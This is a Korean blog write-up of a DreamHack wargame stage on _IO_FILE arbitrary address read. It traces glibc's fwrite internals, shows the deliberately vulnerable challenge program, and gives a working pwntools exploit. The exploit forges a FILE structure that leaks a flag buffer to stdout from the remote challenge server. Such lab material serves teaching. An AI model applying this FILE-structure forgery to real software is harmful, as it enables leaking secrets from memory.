Recent Posts
Recent Comments
Link
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Read) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Read)

CIDY 2022. 7. 14. 20:20

지난 시간에 _IO_FILE에 대해 설명하며 파일을 읽어오거나, 열고 쓰는 과정은 라이브러리 함수 내부 파일 구조체의 포인터와 값들을 이용한다고 했었다. 파일 구조체를 조작하면 임의의 메모리 값을 읽어올 수 있다.

 

파일에 데이터를 쓰는 함수로는 fwrite나 fputs같은 게 있다. 이 함수는 라이브러리 내부에서 _IO_sputn함수를 호출한다. 

 

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  ...
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)

 

이 코드를 보면 _IO_sputn함수는 _IO_XSPUTN의 매크로임 -> 결국 _IO_new_file_xsputn함수를 실행한다. -> 데이터와 길이를 검사한 뒤 _IO_OVERFLOW함수를 호출한다. (== _IO_new_file_overflow)

 

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
  {
    f->_flags |= _IO_ERR_SEEN;
    __set_errno (EBADF);
    return EOF;
  }
  ...
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base);
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
	  || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

 

이게 _IO_new_file_overflow함수인데, _flags변수에 쓰기 권한이 부여되어 있는지를 검사한 뒤 ch가 EOF(== -1)이면 _IO_do_write함수를 호출한다.

 

위에서 _IO_OVERFLOW를 호출할 때 인자로 EOF를 줬으므로 _IO_do_write함수가 호출된다. 근데 얘 호출할 때 전달되는 인자는 파일 구조체의 멤버 변수임

 

_IO_do_write는 내부에서 new_do_write함수를 호출한다. 

 

#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

 

이게 그 new_do_write 함수인데, 우선 파일을 쓰기에 앞서 파일 포인터의 _flags변수에 _IO_IS_APPENDING플래그가 포함되어 있는지 확인한다. 

 

그리고 new_do_write함수의 인자로 들어간 파일 포인터, data, to_do를 인자로 _IO_SYSWRITE 함수를 호출한다.

 

#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)

 

근데 이 매크로를 보면 그 함수는 곧 vtable의 _IO_new_file_write이다.

 

_IO_new_file_write함수는 내부에서 write시스템 콜을 사용해 파일에 데이터를 작성한다. 시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno, _IO_write_base인 data, _IO_write_ptr - _IO_write_base 연산의 결과인 to_do변수가 전달된다.

 

전달되는 인자를 파일 구조체로 표현하면 다음과 같다.

 

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

 

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 
// 64-bit, nx, partial relro

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
	FILE *fp;
	fp = fopen("/home/iofile_aar/flag", "r");
	fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
	fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");

  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}

 

코드를 살펴보면..우선 플래그를 읽어와서 전역에 선언된 flag_buf에 저장한다.

 

그리고 테스트파일을 쓰기 모드로 데려와서 거기에 300바이트 쓸 수 있다. 그리고 테스트파일에 data를 쓰고 (TEST FILE문자열) 종료한다.

 

일단 어떻게 잘 해서 flag_buf를 읽어와야 한다. 

 

그러기 위해서는 파일 구조체를 조작해야 하는데, 먼저 _flags변수를 조작해야 한다. 파일을 쓰는 데 필요한 권한은 _IO_IS_APPENDING이므로 매직값 0xfbad0000 + 0x800을 포함하도록 변경해야 한다.

 

그리고 _IO_write_ptr과 _IO_write_base를 조작해야 한다. _IO_write_base의 경우 flag_buf의 주소로, _IO_write_ptr은 flag_buf의 주소에 0x100정도를 더한 값으로 조작하면 된다.

 

그리고 마지막으로 파일 디스크립터(fileno)를 1로 해서 플래그가 출력되도록 할 수 있다.

 

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

 

위와 같은 코드가 실행되기 때문에 위에서 말한 것과 같이 조작해줘야 한다.

 

구조체 순서대로 넣어주면 된다.

 

from pwn import *

p = remote("host3.dreamhack.games", 8255)
#p = process("./iofile_aar")
e = ELF("./iofile_aar")

flag_buf = e.sym['flag_buf']
print(hex(flag_buf))

payload = p64(0xfbad0800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base 
payload += p64(flag_buf + 0x100) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(1) # stdout
p.sendlineafter("Data: ", payload)
p.interactive()

 

아 참고로 _IO_read_end를 flag_buf로 해준 것은 new_do_write함수 내에서 lseek시스템 콜이 호출되지 않도록 해야 하기 때문이다.